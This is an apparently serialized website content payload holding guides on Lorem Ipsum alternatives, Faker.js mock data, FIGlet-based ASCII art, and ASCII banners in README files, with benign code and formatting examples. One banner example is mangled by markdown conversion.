-->\n",[1560,6460,6461,6463,6465,6468,6470],{"class":1562,"line":337},[1560,6462,6431],{"class":1570},[1560,6464,16],{"class":2484},[1560,6466,6467],{"class":1570},">Cold-pressed organic kombucha mustache, fixie bicycle rights artisan pour-over. Vinyl craft beer tattooed schlitz, irony thundercats green juice.\u003C\u002F",[1560,6469,16],{"class":2484},[1560,6471,6441],{"class":1570},[33,6473,6475],{"id":6474},"cat-ipsum-and-other-niche-generators","Cat Ipsum and Other Niche Generators",[16,6477,6478],{},"Cat Ipsum, Corporate Ipsum, and Zombie Ipsum cater to specific audiences. Cat Ipsum works for pet-related projects, Corporate Ipsum produces jargon-heavy paragraphs for enterprise dashboards, and Zombie Ipsum adds humor to hobbyist projects.",[193,6480,6481,6493],{},[196,6482,6483],{},[199,6484,6485,6488,6490],{},[202,6486,6487],{},"Generator",[202,6489,489],{},[202,6491,6492],{},"Tone",[211,6494,6495,6505,6515,6526,6537],{},[199,6496,6497,6499,6502],{},[216,6498,6408],{},[216,6500,6501],{},"Food, restaurant sites",[216,6503,6504],{},"Playful, thematic",[199,6506,6507,6509,6512],{},[216,6508,6445],{},[216,6510,6511],{},"Creative agencies, portfolios",[216,6513,6514],{},"Trendy, irreverent",[199,6516,6517,6520,6523],{},[216,6518,6519],{},"Cat Ipsum",[216,6521,6522],{},"Pet industry, casual sites",[216,6524,6525],{},"Quirky, light",[199,6527,6528,6531,6534],{},[216,6529,6530],{},"Corporate Ipsum",[216,6532,6533],{},"Enterprise, SaaS dashboards",[216,6535,6536],{},"Jargon-heavy, dry",[199,6538,6539,6542,6545],{},[216,6540,6541],{},"Zombie Ipsum",[216,6543,6544],{},"Gaming, entertainment",[216,6546,6547],{},"Dramatic, humorous",[11,6549,6551],{"id":6550},"realistic-data-generators","Realistic Data Generators",[33,6553,6555],{"id":6554},"fakerjs-and-programmatic-generation","Faker.js and Programmatic Generation",[16,6557,6558],{},"For projects that need more than paragraphs — names, addresses, dates, phone numbers — Faker.js generates structured mock data programmatically. This approach works best during development, not design mockups.",[135,6560,6562],{"className":1607,"code":6561,"language":1609,"meta":141,"style":141},"import { faker } from '@faker-js\u002Ffaker';\n\nconst mockUser = {\n  name: faker.person.fullName(),\n  email: faker.internet.email(),\n  address: faker.location.streetAddress(),\n  phone: faker.phone.number(),\n  avatar: faker.image.avatar(),\n};\n\n\u002F\u002F Generate a table of 20 users\nconst users = Array.from({ length: 20 }, () => ({\n  name: faker.person.fullName(),\n  role: faker.person.jobTitle(),\n  department: faker.commerce.department(),\n}));\n",[143,6563,6564,6569,6573,6578,6583,6588,6593,6598,6603,6608,6612,6617,6622,6626,6631,6636],{"__ignoreMap":141},[1560,6565,6566],{"class":1562,"line":1563},[1560,6567,6568],{},"import { faker } from '@faker-js\u002Ffaker';\n",[1560,6570,6571],{"class":1562,"line":337},[1560,6572,1702],{"emptyLinePlaceholder":363},[1560,6574,6575],{"class":1562,"line":343},[1560,6576,6577],{},"const mockUser = {\n",[1560,6579,6580],{"class":1562,"line":365},[1560,6581,6582],{},"  name: faker.person.fullName(),\n",[1560,6584,6585],{"class":1562,"line":889},[1560,6586,6587],{},"  email: faker.internet.email(),\n",[1560,6589,6590],{"class":1562,"line":1710},[1560,6591,6592],{},"  address: faker.location.streetAddress(),\n",[1560,6594,6595],{"class":1562,"line":1717},[1560,6596,6597],{},"  phone: faker.phone.number(),\n",[1560,6599,6600],{"class":1562,"line":1747},[1560,6601,6602],{},"  avatar: faker.image.avatar(),\n",[1560,6604,6605],{"class":1562,"line":2507},[1560,6606,6607],{},"};\n",[1560,6609,6610],{"class":1562,"line":2524},[1560,6611,1702],{"emptyLinePlaceholder":363},[1560,6613,6614],{"class":1562,"line":2529},[1560,6615,6616],{},"\u002F\u002F Generate a table of 20 users\n",[1560,6618,6619],{"class":1562,"line":2534},[1560,6620,6621],{},"const users = Array.from({ length: 20 }, () => ({\n",[1560,6623,6624],{"class":1562,"line":2542},[1560,6625,6582],{},[1560,6627,6628],{"class":1562,"line":2558},[1560,6629,6630],{},"  role: faker.person.jobTitle(),\n",[1560,6632,6633],{"class":1562,"line":2570},[1560,6634,6635],{},"  department: faker.commerce.department(),\n",[1560,6637,6639],{"class":1562,"line":6638},16,[1560,6640,6641],{},"}));\n",[16,6643,6644],{},"Faker.js supports over 70 locales, making it useful for internationalization testing. You can test how German names, Arabic addresses, or Japanese phone numbers affect your layout.",[33,6646,6648],{"id":6647},"cms-driven-placeholder-content","CMS-Driven Placeholder Content",[16,6650,6651],{},"If your project uses a headless CMS like Contentful or Sanity, you can populate it with realistic draft content instead of placeholder text. This eliminates the gap between prototype and production content.",[16,6653,6654],{},"The advantage is clear: stakeholders review real content structure, and your layout adapts to actual content lengths from the start.",[11,6656,6658],{"id":6657},"when-to-stick-with-lorem-ipsum","When to Stick with Lorem Ipsum",[16,6660,6661],{},"Lorem Ipsum remains the right choice in several scenarios:",[41,6663,6664,6670,6676,6682],{},[44,6665,6666,6669],{},[47,6667,6668],{},"Early wireframing",", when content structure is unknown",[44,6671,6672,6675],{},[47,6673,6674],{},"Neutral client meetings",", where themed text might distract",[44,6677,6678,6681],{},[47,6679,6680],{},"Design systems",", where you want to test typography without semantic cues",[44,6683,6684,6687],{},[47,6685,6686],{},"Component libraries",", where the placeholder text itself should not influence design decisions",[16,6689,6690],{},"Themed generators add value when you need to stress-test layouts or engage stakeholders who might otherwise ignore placeholder text.",[11,6692,6694],{"id":6693},"choosing-the-right-generator","Choosing the Right Generator",[193,6696,6697,6707],{},[196,6698,6699],{},[199,6700,6701,6704],{},[202,6702,6703],{},"Situation",[202,6705,6706],{},"Recommended Generator",[211,6708,6709,6717,6724,6731,6739,6746,6754],{},[199,6710,6711,6714],{},[216,6712,6713],{},"Low-fidelity wireframes",[216,6715,6716],{},"Lorem Ipsum",[199,6718,6719,6722],{},[216,6720,6721],{},"Food industry prototype",[216,6723,6408],{},[199,6725,6726,6729],{},[216,6727,6728],{},"Creative agency mockup",[216,6730,6445],{},[199,6732,6733,6736],{},[216,6734,6735],{},"Developer building mock APIs",[216,6737,6738],{},"Faker.js",[199,6740,6741,6744],{},[216,6742,6743],{},"Enterprise dashboard",[216,6745,6530],{},[199,6747,6748,6751],{},[216,6749,6750],{},"Internationalization testing",[216,6752,6753],{},"Faker.js with locales",[199,6755,6756,6759],{},[216,6757,6758],{},"High-fidelity prototype with client",[216,6760,6761],{},"Real CMS content",[11,6763,1355],{"id":1354},[41,6765,6766,6769,6772,6775,6778],{},[44,6767,6768],{},"Lorem Ipsum works for neutral, early-stage designs but fails to expose content-driven layout issues",[44,6770,6771],{},"Domain-specific generators like Bacon Ipsum and Hipster Ipsum make placeholder text recognizable and engaging",[44,6773,6774],{},"Faker.js produces structured mock data — names, addresses, dates — ideal for development",[44,6776,6777],{},"Internationalization testing benefits from localized generators with real character sets",[44,6779,6780],{},"Match your placeholder strategy to your project stage: minimal for wireframes, realistic for prototypes",[11,6782,286],{"id":285},[16,6784,6785,6786,6790],{},"Need placeholder text for your next project? Use our free ",[98,6787,6789],{"href":6788},"\u002Ftools\u002Florem-ipsum","Lorem Ipsum Generator"," to create customizable paragraphs in seconds. Choose paragraph count, word range, and sentence structure — all processed locally in your browser.",[16,6792,6793],{},[98,6794,6795],{"href":6788},"Try the Lorem Ipsum Generator →",[2043,6797,6798],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":6800},[6801,6802,6807,6811,6812,6813,6814],{"id":6393,"depth":337,"text":6394},{"id":6403,"depth":337,"text":6404,"children":6803},[6804,6805,6806],{"id":6407,"depth":343,"text":6408},{"id":6444,"depth":343,"text":6445},{"id":6474,"depth":343,"text":6475},{"id":6550,"depth":337,"text":6551,"children":6808},[6809,6810],{"id":6554,"depth":343,"text":6555},{"id":6647,"depth":343,"text":6648},{"id":6657,"depth":337,"text":6658},{"id":6693,"depth":337,"text":6694},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Discover placeholder text alternatives to Lorem Ipsum. Compare Bacon Ipsum, Hipster Ipsum, Cat Ipsum, and other generators for design prototyping.",{"immutable":363},"\u002Fguides\u002Falternative-placeholder-text-generators",{"title":6388,"description":6815},"guides\u002Falternative-placeholder-text-generators","7oukPeAFxhlj52959BvPYCWSBDUEdLpb5sQlRR6JbUw",{"id":6822,"title":6823,"body":6824,"date":2070,"description":7140,"extension":361,"meta":7141,"navigation":363,"path":7145,"readingTime":7146,"seo":7147,"stem":7148,"__hash__":7149},"guides\u002Fguides\u002Fascii-art-guide.md","ASCII Art Guide: Creating Text-Based Visual Designs",{"type":8,"value":6825,"toc":7125},[6826,6829,6833,6836,6860,6864,6867,6870,6874,6877,6913,6917,6920,6923,6929,6932,6936,6939,6943,6946,6949,6964,6967,6973,6976,6980,6983,6989,6992,6996,6999,7025,7028,7032,7035,7067,7069,7095,7097,7111,7113,7116,7122],[16,6827,6828],{},"ASCII art turns plain text characters into visual designs. Using nothing more than letters, numbers, and symbols on your keyboard, you can create banners, logos, illustrations, and decorative elements that display correctly in any terminal or text editor.",[11,6830,6832],{"id":6831},"what-is-ascii-art","What Is ASCII Art?",[16,6834,6835],{},"ASCII art is a graphic design technique that uses the 95 printable characters from the ASCII standard (American Standard Code for Information Interchange) to compose images. Unlike pixel-based graphics, ASCII art relies on character density and placement to suggest shapes, shading, and texture.",[16,6837,6838,6839,6842,6843,6846,6847,1531,6850,6853,6854,1531,6856,6859],{},"The 95 printable ASCII characters range from space (",[143,6840,6841],{}," ",") through tilde (",[143,6844,6845],{},"~","), including uppercase and lowercase letters, digits, punctuation marks, and symbols. Artists choose characters based on their visual weight — a ",[143,6848,6849],{},"@",[143,6851,6852],{},"#"," reads as dark, while a ",[143,6855,468],{},[143,6857,6858],{},","," reads as light.",[11,6861,6863],{"id":6862},"origins-and-early-uses","Origins and Early Uses",[16,6865,6866],{},"ASCII art predates the personal computer. In the 1960s, computer operators at Bell Labs and IBM discovered that line printers could produce images by overstriking characters on the same line. These early experiments evolved into a creative practice that spread through bulletin board systems (BBS) in the 1980s and early internet newsgroups.",[16,6868,6869],{},"Before graphical displays became standard, ASCII art served a practical purpose: it was the only way to add visual interest to text-only interfaces. System administrators crafted welcome banners. BBS operators decorated their login screens. Email signatures became miniature canvases.",[11,6871,6873],{"id":6872},"common-use-cases-today","Common Use Cases Today",[16,6875,6876],{},"ASCII art remains relevant far beyond nostalgia. Modern developers and designers use it in several practical contexts:",[41,6878,6879,6889,6895,6901,6907],{},[44,6880,6881,6884,6885,6888],{},[47,6882,6883],{},"Terminal welcome messages"," — Customize your shell prompt with a branded banner using tools like Neofetch or custom ",[143,6886,6887],{},".bashrc"," scripts",[44,6890,6891,6894],{},[47,6892,6893],{},"README headers"," — GitHub repositories often feature ASCII logos at the top of their README files for instant brand recognition",[44,6896,6897,6900],{},[47,6898,6899],{},"Code comment decorations"," — Section dividers and decorative headers make long source files easier to navigate",[44,6902,6903,6906],{},[47,6904,6905],{},"Log output branding"," — CLI tools print ASCII art when they start, giving the application a distinctive identity",[44,6908,6909,6912],{},[47,6910,6911],{},"IRC and chat"," — Text-based communities on IRC, Matrix, and similar platforms still share ASCII art as a creative expression",[11,6914,6916],{"id":6915},"creating-ascii-text-banners","Creating ASCII Text Banners",[16,6918,6919],{},"The most common form of ASCII art is the text banner — a word or phrase rendered in large block characters. Each letter is built from smaller ASCII characters arranged into a grid.",[16,6921,6922],{},"A simple banner might look like this:",[135,6924,6927],{"className":6925,"code":6926,"language":140},[138],"  ___  ____  ___  __  __ ___\n \u002F _ \\|  _ \\|_ _| \\ \\\u002F \u002F| __|\n| (_) | |_) || |   \\  \u002F | _|\n \\___\u002F|  __\u002F|___|  \u002F_\u002F\\_\\|___|\n     |_|\n",[143,6928,6926],{"__ignoreMap":141},[16,6930,6931],{},"You have two options for creating banners: draw them by hand or use a text-to-ASCII generator.",[33,6933,6935],{"id":6934},"drawing-by-hand","Drawing by Hand",[16,6937,6938],{},"Manual ASCII art gives you full control over style and sizing. Start with graph paper or a text editor set to a monospace font. Sketch the outline of each letter, then fill in the interior characters. This approach works well for short words and custom styles, but becomes tedious for longer text.",[33,6940,6942],{"id":6941},"using-figlet","Using FIGlet",[16,6944,6945],{},"FIGlet is the standard tool for generating ASCII text banners programmatically. It takes a text string and renders it in a chosen font using ASCII characters. FIGlet has been around since 1991 and remains actively maintained.",[16,6947,6948],{},"Basic usage from the command line:",[135,6950,6954],{"className":6951,"code":6952,"language":6953,"meta":141,"style":141},"language-bash shiki shiki-themes github-light github-dark","figlet \"Hello World\"\n","bash",[143,6955,6956],{"__ignoreMap":141},[1560,6957,6958,6961],{"class":1562,"line":1563},[1560,6959,6960],{"class":1566},"figlet",[1560,6962,6963],{"class":5634}," \"Hello World\"\n",[16,6965,6966],{},"Output:",[135,6968,6971],{"className":6969,"code":6970,"language":140},[138]," _   _      _ _        __        __         _     _\n| | | | ___| | | ___   \\ \\      \u002F \u002F__  _ __| | __| |\n| |_| |\u002F _ \\ | |\u002F _ \\   \\ \\ \u002F\\ \u002F \u002F _ \\| '__| |\u002F _` |\n|  _  |  __\u002F | | (_) |   \\ V  V \u002F (_) | |  | | (_| |\n|_| |_|\\___|_|_|\\___\u002F     \\_\u002F\\_\u002F \\___\u002F|_|  |_|\\__,_|\n",[143,6972,6970],{"__ignoreMap":141},[16,6974,6975],{},"FIGlet ships with dozens of built-in fonts, and hundreds more are available from the FIGlet font library. You control the output width, justification, and font through simple command-line flags.",[11,6977,6979],{"id":6978},"choosing-characters-for-shading","Choosing Characters for Shading",[16,6981,6982],{},"When creating detailed ASCII art, character choice determines how \"dark\" or \"light\" a region appears. Here is a approximate grayscale ordering from lightest to heaviest:",[135,6984,6987],{"className":6985,"code":6986,"language":140},[138]," . , : ; + * ? % @ #\n",[143,6988,6986],{"__ignoreMap":141},[16,6990,6991],{},"This sequence is not universal — visual weight varies by font and terminal — but it gives you a starting point for shading gradients in hand-drawn pieces.",[11,6993,6995],{"id":6994},"ascii-art-in-modern-development-workflows","ASCII Art in Modern Development Workflows",[16,6997,6998],{},"Several tools integrate ASCII art generation into everyday development:",[41,7000,7001,7007,7013,7019],{},[44,7002,7003,7006],{},[47,7004,7005],{},"Neofetch"," — Displays system information alongside a distro logo in ASCII art",[44,7008,7009,7012],{},[47,7010,7011],{},"Lolcat"," — Pipes ASCII art through rainbow-colored terminal output",[44,7014,7015,7018],{},[47,7016,7017],{},"Toilet"," — A FIGlet successor that supports color, filters, and Unicode",[44,7020,7021,7024],{},[47,7022,7023],{},"Chafa"," — Converts images to ASCII art, useful for terminal-based image previews",[16,7026,7027],{},"These tools prove that ASCII art is not a relic. It is a living part of developer culture that continues to evolve with new terminal capabilities and workflows.",[11,7029,7031],{"id":7030},"best-practices-for-ascii-art","Best Practices for ASCII Art",[16,7033,7034],{},"Follow these guidelines to ensure your ASCII art displays correctly across different environments:",[41,7036,7037,7043,7049,7055,7061],{},[44,7038,7039,7042],{},[47,7040,7041],{},"Always use monospace fonts"," — Proportional fonts destroy ASCII art alignment",[44,7044,7045,7048],{},[47,7046,7047],{},"Keep width under 80 characters"," — Many terminals default to 80 columns; wider art will wrap and break",[44,7050,7051,7054],{},[47,7052,7053],{},"Test in multiple terminals"," — Character rendering varies between Terminal.app, iTerm2, Windows Terminal, and xterm",[44,7056,7057,7060],{},[47,7058,7059],{},"Avoid tab characters"," — Use spaces only; tab width is inconsistent across editors",[44,7062,7063,7066],{},[47,7064,7065],{},"Consider encoding"," — Stick to pure ASCII (code points 32–126) for maximum compatibility",[11,7068,1355],{"id":1354},[41,7070,7071,7074,7077,7080,7083,7092],{},[44,7072,7073],{},"ASCII art uses 95 printable characters to create visual designs in text-only environments",[44,7075,7076],{},"Origins trace back to 1960s line printers and 1980s BBS culture",[44,7078,7079],{},"Modern uses include terminal banners, README headers, and CLI branding",[44,7081,7082],{},"FIGlet is the standard tool for generating ASCII text banners from plain strings",[44,7084,7085,7086,7088,7089,7091],{},"Character density determines visual weight — use ",[143,7087,468],{}," for light areas and ",[143,7090,6852],{}," for dark",[44,7093,7094],{},"Always preview ASCII art in monospace at 80-column width before sharing",[11,7096,321],{"id":320},[41,7098,7099,7105],{},[44,7100,7101],{},[98,7102,7104],{"href":7103},"\u002Fguides\u002Ffiglet-fonts-explained","FIGlet Fonts Explained: How Text-to-ASCII Rendering Works",[44,7106,7107],{},[98,7108,7110],{"href":7109},"\u002Fguides\u002Ftext-art-history","The History of Text Art: From Typewriters to Digital ASCII",[11,7112,286],{"id":285},[16,7114,7115],{},"Generate your own ASCII text banners instantly with our free online ASCII Art tool. Pick a font, type your text, and copy the result straight into your terminal, README, or code comments.",[16,7117,7118],{},[98,7119,7121],{"href":7120},"\u002Ftools\u002Fascii-art","Open the ASCII Art Generator — Free Online Tool",[2043,7123,7124],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":7126},[7127,7128,7129,7130,7134,7135,7136,7137,7138,7139],{"id":6831,"depth":337,"text":6832},{"id":6862,"depth":337,"text":6863},{"id":6872,"depth":337,"text":6873},{"id":6915,"depth":337,"text":6916,"children":7131},[7132,7133],{"id":6934,"depth":343,"text":6935},{"id":6941,"depth":343,"text":6942},{"id":6978,"depth":337,"text":6979},{"id":6994,"depth":337,"text":6995},{"id":7030,"depth":337,"text":7031},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how to create ASCII art from simple text banners to complex visual designs for terminals, READMEs, and code comments.",{"keywords":7142},[7143,7144],"ascii-art","ascii-art-guide","\u002Fguides\u002Fascii-art-guide",null,{"title":6823,"description":7140},"guides\u002Fascii-art-guide","moMhPfN3EHCNlbTJrBtUMJpgED3c5uo_X6La4G1MiXk",{"id":7151,"title":7152,"body":7153,"date":2070,"description":7576,"extension":361,"meta":7577,"navigation":363,"path":7578,"readingTime":1710,"seo":7579,"stem":7580,"__hash__":7581},"guides\u002Fguides\u002Fascii-art-readme-files.md","ASCII Art in README Files",{"type":8,"value":7154,"toc":7554},[7155,7159,7172,7175,7179,7182,7243,7249,7253,7259,7263,7269,7273,7277,7280,7303,7306,7345,7351,7355,7358,7364,7367,7371,7374,7380,7384,7388,7395,7399,7402,7406,7409,7413,7426,7430,7433,7486,7492,7496,7499,7516,7519,7521,7539,7541,7544,7551],[11,7156,7158],{"id":7157},"why-ascii-art-belongs-in-readmes","Why ASCII Art Belongs in READMEs",[16,7160,7161,7162,1459,7165,1466,7168,7171],{},"A README is the front door to your project. ASCII banners at the top of a README create instant visual identity — they signal what the project is before a visitor reads a single line of prose. Well-known projects like ",[143,7163,7164],{},"rustfmt",[143,7166,7167],{},"httpie",[143,7169,7170],{},"starship"," use ASCII logos to reinforce their brand on GitHub.",[16,7173,7174],{},"But ASCII art in documentation comes with constraints. It must render correctly across devices, stay readable in plain text, and not break layout in markdown viewers. Done right, it adds personality without sacrificing usability.",[11,7176,7178],{"id":7177},"choosing-the-right-font-size","Choosing the Right Font Size",[16,7180,7181],{},"README banners need to work in two contexts: GitHub's rendered markdown view and raw text in a terminal editor. This dual constraint limits your font choices:",[193,7183,7184,7197],{},[196,7185,7186],{},[199,7187,7188,7191,7194],{},[202,7189,7190],{},"Font Size",[202,7192,7193],{},"Max Characters",[202,7195,7196],{},"README Fit",[211,7198,7199,7210,7221,7232],{},[199,7200,7201,7204,7207],{},[216,7202,7203],{},"Full (FIGlet standard)",[216,7205,7206],{},"6–8 char project name",[216,7208,7209],{},"Good for short names",[199,7211,7212,7215,7218],{},[216,7213,7214],{},"Small (FIGlet small)",[216,7216,7217],{},"10–12 char project name",[216,7219,7220],{},"Best balance",[199,7222,7223,7226,7229],{},[216,7224,7225],{},"Mini (custom\u002FSublime)",[216,7227,7228],{},"15+ char project name",[216,7230,7231],{},"Long project names",[199,7233,7234,7237,7240],{},[216,7235,7236],{},"Unicode block",[216,7238,7239],{},"2–4 char project name",[216,7241,7242],{},"Logo-style, risky",[16,7244,7245,7248],{},[47,7246,7247],{},"Rule of thumb:"," Your banner should not exceed 72 characters wide. GitHub renders READMEs at roughly 80 columns, and some mobile views are narrower. Anything wider causes horizontal scrolling.",[33,7250,7252],{"id":7251},"example-short-project-name","Example: Short Project Name",[135,7254,7257],{"className":7255,"code":7256,"language":140},[138],"  ____  _     _\n \u002F ___|| |__ (_)_ __   ___\n| |   | '_ \\| | '_ \\ \u002F _ \\\n| |___| | | | | | | |  __\u002F\n \\____|_| |_|_|_| |_|\\___|\n",[143,7258,7256],{"__ignoreMap":141},[33,7260,7262],{"id":7261},"example-longer-project-name-small-font","Example: Longer Project Name (small font)",[135,7264,7267],{"className":7265,"code":7266,"language":140},[138],"  _  _____  __  ___  ___  ___ ___\n \u002F \\|_   _|\u002F \u002F_ \u002F _ \\|_ _|_ _\u002F __|\n\u002F _ \\ | |\u002F \u002F __| |_| || | | |\\__ \\\n_\u002F \\_ \\|_|\\_\\\\__|\\___\u002F|___|___|___\u002F\n",[143,7268,7266],{"__ignoreMap":141},[11,7270,7272],{"id":7271},"formatting-best-practices","Formatting Best Practices",[33,7274,7276],{"id":7275},"center-alignment","Center Alignment",[16,7278,7279],{},"Center your banner in the README using HTML or markdown alignment. Since standard markdown doesn't support centering, use an HTML snippet:",[135,7281,7283],{"className":6417,"code":7282,"language":6419,"meta":141,"style":141},"\u003Cdiv align=\"center\">\n\n",[143,7284,7285],{"__ignoreMap":141},[1560,7286,7287,7289,7292,7295,7298,7301],{"class":1562,"line":1563},[1560,7288,6431],{"class":1570},[1560,7290,7291],{"class":2484},"div",[1560,7293,7294],{"class":5159}," align",[1560,7296,7297],{"class":1570},"=",[1560,7299,7300],{"class":5634},"\"center\"",[1560,7302,6441],{"class":1570},[7304,7305],"hr",{},[16,7307,7308,7309,7323,7324,7334,7335,7337,7338,7334],{},"\u002F ",[7310,7311,7312,7318,7319,7322],"em",{},[7310,7313,7314,7317],{},[7310,7315,7316],{},"| ___ _ __ ___  _ __   ___\n| |  _ \u002F _ \\ '"," ` _ | '"," \\ \u002F _ ",[7320,7321],"br",{},"\n| |","| |  ",[47,7325,7326,7327,7333],{},"\u002F | | | | | |",[7310,7328,7329,7330],{},") |  ",[47,7331,7332],{},"\u002F\n_","|_","|",[7310,7336,7337],{},"| |",[7310,7339,7340,7341,7344],{},"| .",[47,7342,7343],{},"\u002F _","|\n|",[135,7346,7349],{"className":7347,"code":7348,"language":140},[138],"\n**MyProject** — A thing that does stuff\n\n\u003C\u002Fdiv>\n",[143,7350,7348],{"__ignoreMap":141},[33,7352,7354],{"id":7353},"banner-tagline-pattern","Banner + Tagline Pattern",[16,7356,7357],{},"The most effective README headers pair a banner with a one-line description:",[135,7359,7362],{"className":7360,"code":7361,"language":140},[138]," __  __\n|  \\\u002F  | ___  _ __ ___   ___\n| |\\\u002F| |\u002F _ \\| '_ ` _ \\ \u002F _ \\\n| |  | | (_) | | | | | |  __\u002F\n|_|  |_|\\___\u002F|_| |_| |_|\\___|\n\nFast, type-safe configuration for Node.js\n",[143,7363,7361],{"__ignoreMap":141},[16,7365,7366],{},"This pattern works because the banner draws the eye and the tagline delivers the value proposition immediately.",[33,7368,7370],{"id":7369},"badges-below-the-banner","Badges Below the Banner",[16,7372,7373],{},"Place your CI\u002Fcoverage badges directly under the banner and tagline. This keeps the visual hierarchy clean:",[135,7375,7378],{"className":7376,"code":7377,"language":140},[138],"[ASCII BANNER]\n\nShort description of the project\n\n[![Build](badge-url)]() [![Coverage](badge-url)]()\n",[143,7379,7377],{"__ignoreMap":141},[11,7381,7383],{"id":7382},"common-mistakes-to-avoid","Common Mistakes to Avoid",[33,7385,7387],{"id":7386},"_1-using-proportional-fonts","1. Using Proportional Fonts",[16,7389,7390,7391,7394],{},"ASCII art only works with monospace fonts. GitHub renders code blocks in monospace, but inline text uses proportional fonts. ",[47,7392,7393],{},"Always wrap your banner in a code block"," (triple backticks).",[33,7396,7398],{"id":7397},"_2-ignoring-dark-mode","2. Ignoring Dark Mode",[16,7400,7401],{},"GitHub supports light and dark themes. Your banner should be readable in both. Avoid relying on specific foreground\u002Fbackground colors — stick to the default code block styling.",[33,7403,7405],{"id":7404},"_3-overly-complex-art","3. Overly Complex Art",[16,7407,7408],{},"Elaborate ASCII logos look impressive on a desktop but become illegible on mobile. A simple text banner at a small font size almost always outperforms a detailed ASCII illustration.",[33,7410,7412],{"id":7411},"_4-non-ascii-characters","4. Non-ASCII Characters",[16,7414,7415,7416,1459,7419,1466,7422,7425],{},"Characters like ",[143,7417,7418],{},"█",[143,7420,7421],{},"▓",[143,7423,7424],{},"░"," may render as tofu (□) on systems without the right font fallbacks. Stick to standard ASCII characters (codes 32–126) for maximum compatibility.",[11,7427,7429],{"id":7428},"embedding-inline-vs-code-blocks","Embedding Inline vs. Code Blocks",[16,7431,7432],{},"You have two options for placing ASCII art in markdown:",[193,7434,7435,7448],{},[196,7436,7437],{},[199,7438,7439,7442,7445],{},[202,7440,7441],{},"Method",[202,7443,7444],{},"Pros",[202,7446,7447],{},"Cons",[211,7449,7450,7461,7472],{},[199,7451,7452,7455,7458],{},[216,7453,7454],{},"Fenced code block",[216,7456,7457],{},"Monospace guaranteed, syntax highlighting off",[216,7459,7460],{},"Takes full width, has scrollbar on overflow",[199,7462,7463,7466,7469],{},[216,7464,7465],{},"Markdown image",[216,7467,7468],{},"Pixel-perfect control, supports color",[216,7470,7471],{},"Not readable in raw text, accessibility concerns",[199,7473,7474,7480,7483],{},[216,7475,7476,7477],{},"HTML ",[143,7478,7479],{},"\u003Cpre>",[216,7481,7482],{},"More layout control",[216,7484,7485],{},"Verbose, may conflict with sanitizers",[16,7487,7488,7491],{},[47,7489,7490],{},"Recommendation:"," Use fenced code blocks for text banners. Use rendered images only when you need color or complex illustrations, and always provide alt text.",[11,7493,7495],{"id":7494},"generating-banners-for-readmes","Generating Banners for READMEs",[16,7497,7498],{},"The fastest workflow for README banners:",[77,7500,7501,7504,7507,7510,7513],{},[44,7502,7503],{},"Type your project name into an ASCII art generator",[44,7505,7506],{},"Select a narrow font (slant, small, or thin)",[44,7508,7509],{},"Verify the output is under 72 columns wide",[44,7511,7512],{},"Copy into a fenced code block in your README",[44,7514,7515],{},"Check rendering on GitHub, GitLab, and mobile",[16,7517,7518],{},"Don't hand-draw banners — the alignment is almost always off. Generated output from FIGlet-based tools guarantees proper character spacing.",[11,7520,321],{"id":320},[41,7522,7523,7528,7533],{},[44,7524,7525],{},[98,7526,7527],{"href":7145},"ASCII Art Guide",[44,7529,7530],{},[98,7531,7532],{"href":7103},"Figlet Fonts Explained",[44,7534,7535],{},[98,7536,7538],{"href":7537},"\u002Fguides\u002Fmarkdown-best-practices","Markdown Best Practices",[11,7540,286],{"id":285},[16,7542,7543],{},"Generate a polished ASCII banner for your next README. Pick a font, preview it live, and copy the formatted output ready for markdown.",[16,7545,4531,7546],{},[98,7547,7548],{"href":7120},[47,7549,7550],{},"Free ASCII Art Generator",[2043,7552,7553],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: 